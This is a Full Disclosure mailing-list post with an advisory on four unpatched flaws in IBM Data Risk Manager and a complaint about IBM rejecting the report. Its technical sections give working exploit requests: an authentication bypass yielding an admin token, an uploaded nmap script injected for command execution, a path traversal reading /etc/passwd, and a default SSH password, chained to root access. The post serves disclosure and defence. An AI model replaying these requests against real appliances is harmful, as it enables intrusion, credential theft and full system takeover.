[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[FD] Multiple 0 day vulnerabilities in IBM Data Risk Manager
- To: "fulldisclosure@xxxxxxxxxxxx" <fulldisclosure@xxxxxxxxxxxx>
- Subject: [FD] Multiple 0 day vulnerabilities in IBM Data Risk Manager
- From: Pedro Ribeiro <pedrib@xxxxxxxxx>
- Date: Tue, 21 Apr 2020 21:25:59 +0700
Hi,
I recently attempted to disclose some vulns to IBM via CERT/CC. They refused to
accept the report, saying they only accept reports from paying customers...
haha what a **** show!
The markdown advisory is attached below - sorry, I usually send text ones, but
have to move on to the current trends, plus it looks much better on GitHub:
https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md
Metasploit modules have been released and are available here:
https://github.com/rapid7/metasploit-framework/pull/13300
https://github.com/rapid7/metasploit-framework/pull/13301
Enjoy!
# Multiple Vulnerabilities in IBM Data Risk Manager
### By Pedro Ribeiro (pedrib@xxxxxxxxx) from [Agile Information
Security](https://agileinfosec.co.uk)
#### Disclosure Date: 21/04/2020 | Last Updated: 21/04/2020
## Introduction
[From the vendor's website](https://www.ibm.com/products/data-risk-manager):
*What you don’t know can hurt you. Identify and help prevent risks to sensitive
business data that may impact business processes, operations, and competitive
position. IBM Data Risk Manager provides executives and their teams a
business-consumable data risk control center that helps to uncover, analyze,
and visualize data-related business risks so they can take action to protect
their business.*
## Summary
**tl;dr scroll to the bottom to see videos of the exploits in action**
IBM Data Risk Manager (IDRM) is an enterprise security software by IBM that
aggregates and provides a full view of all the enterprise security risks, akin
to an electronic risk register.
The product receives information feeds from vulnerability scanning tools and
other risk management tools, aggregates them and allows a user to investigate
them and perform comprehensive analysis.
The IDRM Linux virtual appliance was analysed and it was found to contain four
vulnerabilities, three critical risk and one high risk:
* Authentication Bypass
* Command Injection
* Insecure Default Password
* Arbitrary File Download
This advisory describes the four vulnerabilities and the steps necessary to
chain the first three to achieve unauthenticated remote code execution as root.
In addition, two Metasploit modules that bypass authentication and exploit the
[remote code
execution](https://github.com/rapid7/metasploit-framework/pull/13300) and
[arbitrary file
download](https://github.com/rapid7/metasploit-framework/pull/13301) are being
released to the public.
At the time of disclosure, it is unclear if the latest version 2.0.6 is
affected by these, but most likely it is, as there is no mention of fixed
vulnerabilities in any changelog, and it was released before the *attempt* to
report these vulnerabilities to IBM. The latest version Agile InfoSec has
access to is 2.0.3, and that one is certainly vulnerable.
### Here's a bunch of 0 days!
At the time of disclosure these vulnerabilities are **"0 days"**. An attempt
was made to contact [CERT/CC](https://www.kb.cert.org/vuls/) to coordinate
disclosure with IBM, but IBM **REFUSED** to accept the vulnerability report,
and responded to CERT/CC with:
***we have assessed this report and closed as being out of scope for our
vulnerability disclosure program since this product is only for "enhanced"
support paid for by our customers**. This is outlined in our policy
https://hackerone.com/ibm. To be eligible to participate in this program, you
must not be under contract to perform security testing for IBM Corporation, or
an IBM subsidiary, or IBM client within 6 months prior to submitting a report.*
This is an unbelievable response by IBM, a multi billion dollar company that is
**selling security enterprise products and security consultancy** to huge
corporations worldwide. They refused to accept a free high quality
vulnerability report on one of their products, while putting ludicrous quotes
like the following [on their website](https://www.ibm.com/security):
*When every second counts, you need a unified defense to identify, orchestrate
and automate your response to threats. IBM Security Threat Management solutions
help you thrive in the face of cyber uncertainty.*
*Building a custom security plan that is both industry-specific and aligned to
your security maturity demands a partner with deep expertise and global reach.
The IBM Security Strategy and Risk services team is that valued partner.*
It should be noted that IBM offers no bounties on their "bug bounty program",
just kudos:
![Kudos](./kudos.jpeg)
In any case, I did not ask or expect a bounty since I do not have a HackerOne
account and I don't agree with HackerOne's or IBM's disclosure terms there.
I simply wanted to disclose these to IBM responsibly and let them fix it.
### So many questions...
IDRM is an enterprise security product that handles very sensitive information.
The hacking of an IDRM appliance might lead to a full scale company compromise,
as it stores credentials to access other security tools, not to mention it
contains information about critical vulnerabilities that affect the company.
* Why did IBM refuse to accept a **FREE** detailed vulnerability report?
* What does their answer mean? Are the only accepting vulnerability reports
from customers?
* Or is the product out of support? If so, why is still being offered for sale
to new customers?
* How can they be so irreponsible while selling an enterprise security product?
Anyway, with this out of the way let's get technical...
## Vulnerability Details
### #1: Authentication Bypass
* [CWE-287: Improper
Authentication](https://cwe.mitre.org/data/definitions/287.html)
* CVE-TODO (not assigned yet)
* Risk Classification: Critical
* Attack Vector: Remote
* Constraints: None / N/A
* Affected Products / Versions:
* IBM Data Risk Manager 2.0.1 to 2.0.3 confirmed to be vulnerable
* IBM Data Risk Manager 2.0.4 to 2.0.6 likely to be vulnerable
#### Details:
IDRM has an API endpoint at */albatross/saml/idpSelection* that associates an
ID provided by the attacker with a valid user on the system. The method that
handles this endpoint is shown below:
```java
@RequestMapping(value={"/saml/idpSelection"},
method={RequestMethod.GET})
public String idpSelection(HttpServletRequest httpRequest,
HttpServletResponse httpResponse, Model model, @RequestParam(value="id",
required=false) String sessionId, @RequestParam(value="userName",
required=false) String userName, RedirectAttributes rattrs) {
List allUrls =
this.a3repository.getA3AllUrlsRepository().findByTypeAndIsDeletedAndGuardiumType(A3Constants.A3_URL_TYPE.MICROSERVICES.getValue(),
A3Constants.INT_ZERO,
A3Constants.A3_MICROSERVICE_TYPE.IDENTITY_MANAGER.getValue());
if (allUrls == null || allUrls.size() == 0) {
rattrs.addAttribute("message", (Object)"Microservice
instance is not running or more than one instance is running, please start the
microservice and try again");
return "redirect:/error";
}
if (allUrls.size() == 1) {
A3AllUrls aUrl = (A3AllUrls)allUrls.get(0);
String url = aUrl.getUrl();
if (userName == null || userName.equals("")) {
rattrs.addAttribute("message", (Object)"Enter
the user name, please try again");
return "redirect:/error";
}
if (sessionId == null || sessionId.equals("")) {
rattrs.addAttribute("message", (Object)"Session
ID is not present, please try again");
return "redirect:/error";
}
A3User user =
this.a3repository.getA3userService().findA3UserByUserNameIgnoreCaseAndIsDeleted(userName,
A3Constants.INT_ZERO);
if (user == null) {
rattrs.addAttribute("message", (Object)("User "
+ userName + " account not present in IDRM, please create the account and try
again"));
return "redirect:/error";
}
user.setSessionId(sessionId);
user.setLastUpdate(null);
this.a3repository.getA3userService().save((Object)user);
String page = null;
page = url.endsWith("/") ? "redirect:" + url +
"saml/idpSelection" : "redirect:" + url + "/saml/idpSelection";
return page;
}
return "redirect:/error";
}
```
As it can be seen in the code above, this method accepts an arbitrary
*sessionId* and *username* parameters from the HTTP request, and if *username*
exists on the application's user database, it then associates that *sessionId*
to the *username*.
This can be achieved by an unauthenticated attacker with the following request:
```
GET /albatross/saml/idpSelection?id=SOMETHING&userName=admin
```
The server will respond with a 302 redirect to
https://localhost:8765/saml/idpSelection, but that doesn't really matter. This
action might not make sense now, but read on.
The API endpoint */albatross/user/login* is handled by the following method
(only the relevant snippets are shown):
```java
@RequestMapping(value={"/user/login"}, method={RequestMethod.POST},
consumes={"multipart/form-data"})
public A3StatusBean userLogin(HttpServletRequest httpRequest,
@RequestParam(value="username", required=true) String username,
@RequestParam(value="deviceid") String deviceId,
@RequestParam(value="password", required=false) String password,
@RequestParam(value="sessionId", required=false) String sessionId,
@RequestParam(value="clientDetails", required=true) String clientDetails) {
(...)
A3User user =
this.a3repository.getA3userService().findA3UserByUserNameIgnoreCase(username);
if (user != null) {
if (sessionId != null) {
if (sessionId.equals(user.getSessionId())) {
(...)
LOGGER.log(A3Constants.A3LOG, "Session is matching,
so user is valid");
response.setRequestedUrl(A3Utils.getWebURLWithQueryString((HttpServletRequest)httpRequest));
response.setHttpStatus(Integer.toString(HttpStatus.OK.value()));
response.setServerCode(Integer.toString(A3FullStackResponseConstants.SUCCESS));
if (this.userMap.get(user.getUserId()) == null) {
user.setSessionId(null);
String randomPwd = UUID.randomUUID().toString();
user.setPassword(A3BcryptUtil.getBCryptHash(randomPwd));
this.a3repository.getA3userService().save((Object)user);
this.userMap.put(user.getUserId(), randomPwd);
response.setData((Object)randomPwd);
} else {
String tPassword =
this.userMap.get(user.getUserId());
user.setPassword(A3BcryptUtil.getBCryptHash(tPassword));
this.a3repository.getA3userService().save((Object)user);
response.setData((Object)tPassword);
}
return response;
}
(...)
}
```
The method listed above takes the *username* and *sessionId* parameters, and
checks if *username* exists in the database and *sessionId* is associated with
that *username*. If it is, the application returns a newly generated random
password for that username.
In the previous request, the "*admin"* user was associated with the *sessionId
"SOMETHING"*. So now if we perform the following request:
```
POST /albatross/user/login HTTP/1.1
Host: 10.0.10.25:8443
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: multipart/form-data; boundary=_Part_224_2171658712_4042463386
Content-Length: 509
Connection: close
--_Part_224_2171658712_4042463386
Content-Disposition: form-data; name="deviceid"
--_Part_224_2171658712_4042463386
Content-Disposition: form-data; name="password"
< ... any string can be sent here ... >
--_Part_224_2171658712_4042463386
Content-Disposition: form-data; name="username"
admin
--_Part_224_2171658712_4042463386
Content-Disposition: form-data; name="clientDetails"
--_Part_224_2171658712_4042463386
Content-Disposition: form-data; name="sessionId"
SOMETHING
--_Part_224_2171658712_4042463386--
```
The server will respond with:
```
{"httpStatus":"200","serverCode":"2001","requestedUrl":"https://10.0.10.25:8443/albatross/user/login","data":"b6e1a82b-3f33-4297-86e1-ca780d16cb02"}
```
... which is now a valid password for the *"admin"* user, as the previous
snippet of code shows.
So now let's try and authenticate using that as a password:
```
POST /albatross/user/login HTTP/1.1
Host: 10.0.10.25:8443
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: multipart/form-data; boundary=_Part_122_4062871012_3985537084
Content-Length: 435
Connection: close
--_Part_122_4062871012_3985537084
Content-Disposition: form-data; name="deviceid"
--_Part_122_4062871012_3985537084
Content-Disposition: form-data; name="password"
b6e1a82b-3f33-4297-86e1-ca780d16cb02
--_Part_122_4062871012_3985537084
Content-Disposition: form-data; name="username"
admin
--_Part_122_4062871012_3985537084
Content-Disposition: form-data; name="clientDetails"
--_Part_122_4062871012_3985537084--
```
To which the server responds with:
```
{"httpStatus":"200","serverCode":"2001","requestedUrl":"https://10.0.10.25:8443/albatross/user/login","data":{"access_token":"3b5b0fa6-2d46-4104-ba38-54a077d05a93","token_type":"bearer","expires_in":28799,"scope":"read
write"}}
```
Success! We now have a valid Bearer administrative token that can be used to
access various API. It's also possible to login as a normal web user on the
*/albatross/login* endpoint, which will yield an authenticated cookie instead
of a token, allowing access to the web administration console. In any case, as
this shows, authentication is now completely bypassed and we have full
administrative access to IDRM.
It should be noted that this is a destructive action - the previous admin
password will be invalid, and only the new password which is generated above
can be used to login as an admin. So this works a bit like a *"password
reset"*, even though it is not named as such.
### #2: Command Injection
* [CWE-77: Command Injection](https://cwe.mitre.org/data/definitions/77.html)
* CVE-TODO (not assigned yet)
* Risk Classification: Critical
* Attack Vector: Remote
* Constraints: Authentication Required
* Affected Products / Versions:
* IBM Data Risk Manager 2.0.1 to 2.0.3 confirmed to be vulnerable
* IBM Data Risk Manager 2.0.4 to 2.0.6 likely to be vulnerable
#### Details:
IDRM exposes an API at */albatross/restAPI/v2/nmap/run/scan* that allows an
authenticated user to perform nmap scans. The call stack and relevant code is
pasted below:
```java
@RequestMapping(value={"/run/nmap/scan"}, method={RequestMethod.POST})
public A3StatusBean runNmapScan(HttpServletRequest httpRequest,
@RequestParam(value="transaction", required=false) String transactionData,
@RequestParam(value="accessToken") String accessToken,
@RequestParam(value="userId", required=false) String userName) {
(...)
runNmapScan invokes A3CustomScriptScanTask.run()
A3CustomScriptScanTask.run() invokes
A3IpScannerUtils.runNmapOnIpAddress()
public static A3ExtAppNmapHostDTO
runNmapOnIpAddress(String nmapPath, String nmapOptions, String ipAddress,
String portRange) throws IOException, InterruptedException {
String[] nmapOpts;
A3ExtAppNmapHostDTO nmapHost = null;
LOGGER.log(A3EurekaConstants.OPERATIONAL,
"Running nmap Scan");
ArrayList<String> command = new
ArrayList<String>();
command.add(nmapPath);
for (String nmapOpt : nmapOpts =
nmapOptions.split(" ")) {
command.add(nmapOpt);
}
command.add(ipAddress);
Process process = null;
if (portRange != null && !portRange.equals(""))
{
command.add("-p");
command.add(portRange);
process =
Runtime.getRuntime().exec(command.toArray(new String[command.size()]));
} else {
process =
Runtime.getRuntime().exec(command.toArray(new String[command.size()]));
(...)
}
(...)
}
```
As listed in [GTFObins](https://gtfobins.github.io/gtfobins/nmap), having
access to nmap allows running arbitrary commands if we can upload a script file
and then pass that as an argument to nmap with *"--script=<FILE\>"*. Looking at
the code above, *ipAddress* looks like a good candidate for this.
However, to achieve code execution in this way we still need to upload a file.
Luckily, there is a method that processes patch files and accepts arbitrary
file data, saving it to *"/home/a3user/agile3/patches/<FILE\>"*. The method is
too long and verbose to paste here, but it is supposed to accept a patch file,
process it and apply it.
There are several bugs in version 2.0.2 that cause the method to abort early
and fail to process the file. Still, the file is uploaded and kept on disk even
after the method aborts.
In order to upload a file, we simply need to send the following request:
```
POST /albatross/upload/patch HTTP/1.1
Host: 10.0.10.25:8443
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cookie: JSESSIONID=D68124D3EFD66417B4C6B0950E1891C0;
CSRF-TOKEN: 4f88a837-5f12-4d15-a0d5-57b24de17176
Content-Type: multipart/form-data; boundary=_Part_387_3982485447_258275719
Content-Length: 330
Connection: close
--_Part_387_3982485447_258275719
Content-Disposition: form-data; name="patchFiles"; filename="owned.enc"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary
os.execute("/usr/bin/whoami > /tmp/testing")
--_Part_387_3982485447_258275719--
```
The server will respond with a 200 OK but will include a JSON message saying an
error has occured. This is irrelevant, as the file was still uploaded to disk.
Finally we inject our parameters and run nmap with the following request:
```
POST /albatross/restAPI/v2/nmap/run/scan/18 HTTP/1.1
Host: 10.0.10.25:8443
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Authorization: Bearer 3b5b0fa6-2d46-4104-ba38-54a077d05a93
Content-Type: multipart/form-data; boundary=_Part_841_3176682485_2250831758
Content-Length: 440
Connection: close
--_Part_841_3176682485_2250831758
Content-Disposition: form-data; name="clientDetails"
--_Part_841_3176682485_2250831758
Content-Disposition: form-data; name="type"
1
--_Part_841_3176682485_2250831758
Content-Disposition: form-data; name="portRange"
--_Part_841_3176682485_2250831758
Content-Disposition: form-data; name="ipAddress"
--script=/home/a3user/agile3/patches/owned.enc
--_Part_841_3176682485_2250831758--
```
This will execute *"nmap --script=/home/a3user/agile3/patches/owned.enc"* and
run our command:
```
[a3user@idrm-server ~]$ cat /home/a3user/agile3/patches/owned.enc
os.execute("/usr/bin/whoami > /tmp/testing")
[a3user@idrm-server ~]$ cat /tmp/testing
a3user
```
Note that all of these requests require an authenticated session as an
administrator - but as shown in #1, this can be easily bypassed. The actual
flow to achieve full unauthenticated remote code execution is a bit more
convoluted, as we need to authenticate to both the web interface and the API,
but the basic workings have been described above.
### #3: Insecure Default Password
* [CWE-798: Use of Hard-coded
Credentials](https://cwe.mitre.org/data/definitions/798.html)
* CVE-TODO (not assigned yet)
* Risk Classification: Critical
* Attack Vector: Remote
* Constraints: None / N/A
* Affected Products / Versions:
* IBM Data Risk Manager 2.0.1 to 2.0.3 confirmed to be vulnerable
* IBM Data Risk Manager 2.0.4 to 2.0.6 likely to be vulnerable
#### Details:
The administrative user in the IDRM virtual appliance is *"a3user"*. This user
is allowed to login via SSH and run sudo commands, and it is set up with a
default password of *"idrm"*.
When combined with vulnerabilities #1 and #2, this allows an unauthenticated
attacker to achieve remote code execution as root on the IDRM virtual
appliance, leading to complete system compromise.
While IDRM forces the administrative user of the web interface (*"admin"*) to
change its password upon first login, it does not require the same of
*"a3user"*.
### #4: Arbitrary File Download
* [CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path
Traversal')](https://cwe.mitre.org/data/definitions/22.html)
* CVE-TODO (not assigned yet)
* Risk Classification: High
* Attack Vector: Remote
* Constraints: Authentication Required
* Affected Products / Versions:
* IBM Data Risk Manager 2.0.2 and 2.0.3 confirmed to be vulnerable
* IBM Data Risk Manager 2.0.4 to 2.0.6 likely to be vulnerable
#### Details:
IDRM exposes an API at */albatross/eurekaservice/fetchLogFiles* that allows an
authenticated user to download log files from the system. However, the
*logFileNameList* parameter contains a basic directory traversal flaw that
allows an attacker to download any file off the system.
The code path is convoluted, and won't be shown here for brevity, but
exploitation (and finding this flaw) is very simple:
```
POST /albatross/eurekaservice/fetchLogFiles HTTP/1.1
Host: 10.0.10.25:8443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://10.0.10.25:8443/albatross/home
Content-Type: application/json
CSRF-TOKEN: 93e0dbe1-88e5-450e-ab2c-7c614b709876
Content-Length: 93
Cookie: JSESSIONID=ABFFB7EB959FAC45743AC2889960DFD0
Connection: close
{"instanceId":"local_host","logLevel":"DEBUG","logFileNameList":"../../../../../etc/passwd,"}
```
Response:
```
HTTP/1.1 200
Strict-Transport-Security: max-age=31536000 ; includeSubDomains
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Disposition: attachment; filename=ms_logs_admin.zip
Accept-Ranges: bytes
X-Content-Type-Options: nosniff
Content-Type: application/zip
Content-Length: 550
Date: Wed, 17 Oct 2018 11:46:45 GMT
Connection: close
<ZIP file containing /etc/passwd>
```
When combined with #1, this allows an unauthenticted attacker to download any
file readable by *"a3user"* off the system.
It should be noted that version 2.0.1 is not vulnerable, but versions higher
than 2.0.1 are. Attempting to download an arbitrary file using this method will
result in a HTTP 500 error with a *"File security exception"* message.
## Exploitation Summary
By combining vulnerabilities #1, #2 and #3, an unauthenticated user can achieve
remote code execution as root. [A Metasploit module implementing this RCE chain
was released](https://github.com/rapid7/metasploit-framework/pull/13300) and
the asciinema clip below shows it in action:
[![asciicast](https://asciinema.org/a/3nJ4lD1pD7XBfEFqkc9qPDUV2.svg)](https://asciinema.org/a/3nJ4lD1pD7XBfEFqkc9qPDUV2)
If vulnerabilities #1 and #4 are combined, it's possible for an unauthenticated
attacker to download arbitrary files off the system. [A second Metasploit
module implementing this file download chain was
released](https://github.com/rapid7/metasploit-framework/pull/13301), and the
asciinema clip below shows it in action:
[![asciicast](https://asciinema.org/a/y6HfoaEIf8qZbn6mcUGeVhyUp.svg)](https://asciinema.org/a/y6HfoaEIf8qZbn6mcUGeVhyUp)
## Fix / Solutions:
IBM refused to acknowledge this vulnerability report, so most likely won't fix
this vulnerability. Make sure you uninstall the product so it does not endanger
your network / company.
## Disclaimer
Please note that Agile Information Security (Agile InfoSec) relies on
information provided by the vendor when listing fixed versions or products.
Agile InfoSec does not verify this information, except when specifically
mentioned in this advisory or when requested or contracted by the vendor to do
so.
Unconfirmed vendor fixes might be ineffective or incomplete, and it is the
vendor's responsibility to ensure the vulnerabilities found by Agile
Information Security are resolved properly.
Agile Information Security Limited does not accept any responsibility,
financial or otherwise, from any material losses, loss of life or reputational
loss as a result of misuse of the information or code contained or mentioned in
this advisory. It is the vendor's responsibility to ensure their products'
security before, during and after release to market.
## License
All information, code and binary data in this advisory is released to the
public under the [GNU General Public License, version 3
(GPLv3)](https://www.gnu.org/licenses/gpl-3.0.en.html).
For information, code or binary data obtained from other sources that has a
license which is incompatible with GPLv3, the original license prevails.
--
Pedro Ribeiro
Vulnerability and Reverse Engineer / Cyber Security Specialist
pedrib@xxxxxxxxx
PGP: 4CE8 5A3D 133D 78BB BC03 671C 3C39 4966 870E 966C
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/